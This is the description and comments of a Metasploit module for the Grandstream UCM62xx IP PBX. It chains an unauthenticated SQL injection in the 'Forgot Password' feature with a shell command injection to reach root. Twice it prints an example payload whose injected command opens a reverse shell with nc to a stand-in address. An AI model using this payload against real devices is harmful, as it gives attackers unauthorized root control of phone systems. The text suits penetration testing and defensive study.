This Metasploit module exploits an unauthenticated SQL injection vulnerability and a command injection vulnerability affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root.

This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
a command injection vulnerability (technically, no assigned CVE but was inadvertently
patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
series of devices. The vulnerabilities allow an unauthenticated remote attacker to
execute commands as root.

Exploitation happens in two stages:

1. An SQL injection during username lookup while executing the "Forgot Password" function.
2. A command injection that occurs after the user provided username is passed to a Python script
via the shell. Like so:

/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py
password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `

This module affect UCM62xx versions before firmware version 1.0.19.20.

# Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
# and then it will get passed to a python script via sh which allows us to execute a command injection.
# It will look something like this:
#
# /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py
# password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
#
# This functionality is related to the"Forgot Password" feature. This function is rate limited by
# the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few
# payloads are appropriate.
